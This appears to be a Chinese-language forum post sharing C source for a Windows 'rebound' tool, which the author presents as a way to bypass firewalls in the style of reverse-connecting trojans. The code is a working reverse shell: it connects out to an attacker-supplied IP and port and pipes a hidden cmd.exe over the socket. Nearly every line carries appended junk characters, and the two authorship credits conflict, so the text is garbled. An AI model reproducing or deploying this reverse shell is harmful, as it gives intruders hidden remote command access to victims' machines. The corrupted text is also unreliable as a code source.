这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 P 34LV+e
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/* ============================== GP{$v:RG
Rebound port in Windows NT |5O >>a()
By wind,2006/7 ~'^!udF-
===============================*/ QN5yBa!Wz
#include x2j/8]'o
#include *R_'$+
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#pragma comment(lib,"wsock32.lib") {t844La"
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void OutputShell(); z-KrQx2
SOCKET sClient; (30<oE{
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 3x"@**(Q
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void main(int argc,char **argv) 9N~8s6Ob
{ tC2 )j7@
WSADATA stWsaData; 1<LC8?wt
int nRet; ~K5Cr
SOCKADDR_IN stSaiClient,stSaiServer; /h?<MI\7V
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if(argc != 3) 2Vz'n@g=
{ \LIy:$`8
printf("Useage:\n\rRebound DestIP DestPort\n"); >AR Tr'B
return; T&9`?QD
} *Rz{44LP&
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WSAStartup(MAKEWORD(2,2),&stWsaData); {PN:bb
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 'RDWU7c9]
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stSaiClient.sin_family = AF_INET; 2}^+]5
stSaiClient.sin_port = htons(0); 5a=nF9/
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); i Td-n9
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) HA$Y1}
{ '"oo;`g7
printf("Bind Socket Failed!\n"); Z:I*y7V-
return; EKcC+g
} NNwc!x)*
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stSaiServer.sin_family = AF_INET; ^4+r*YvcM
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); E;9Z\?P
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) N g58/}zO
{ S*4f%!
printf("Connect Error!"); [!^cd%l
return; LFCTr/,
} {5SfE$r
OutputShell(); /
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} ^rL,&rk
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void OutputShell() [u[ U_g*
{ mj)PLZ]
char szBuff[1024]; !~kEtC
SECURITY_ATTRIBUTES stSecurityAttributes; |,3l`o
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OSVERSIONINFO stOsversionInfo; qc3~cH.@
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; a~WqUL
STARTUPINFO stStartupInfo; F@9Y\. ,
char *szShell; LaDY`u0G%
PROCESS_INFORMATION stProcessInformation; 9x(}F<L
unsigned long lBytesRead; 4K E)g
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); *MI)]S
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); M2dmG<
stSecurityAttributes.lpSecurityDescriptor = 0; 58J_ w X
stSecurityAttributes.bInheritHandle = TRUE; 3g;T?E
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); )U'yUUi
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); m*gj|1k
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @m?{80;uQ
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dsK/6yu
stStartupInfo.wShowWindow = SW_HIDE; U,HIB^=
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stStartupInfo.hStdInput = hReadPipe; [yC"el6PM
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; vb
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GetVersionEx(&stOsversionInfo); YwXXXh
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switch(stOsversionInfo.dwPlatformId) ?I\v0H*
{ -?5$ PH
case 1: awFhz 6
szShell = "command.com"; !y%+GwoW
break; Mb/L~gd"
default: 7 W{~f?Sh
szShell = "cmd.exe"; SF^x=[ir
break; EI\v
} |Ytg
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); U. (Tl>K|0
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send(sClient,szMsg,77,0); y
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while(1) yb?{LL-uy
{ XVF^,Yf
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [sj VRW-
if(lBytesRead) -w ~(3(
{ +0"x|$f~
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); sP y2/7Wqd
send(sClient,szBuff,lBytesRead,0); ~:EW>Fq%i
} !}5*?k
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else UiIF6-ZZ!
{ -\Z `z}D
lBytesRead=recv(sClient,szBuff,1024,0); -`Q}tg>cT
if(lBytesRead<=0) break; hiwIWd:H
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); LwOJ|jA(,
} O:^'x*}
} j{;|g%5t
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return; ue6d~8&
}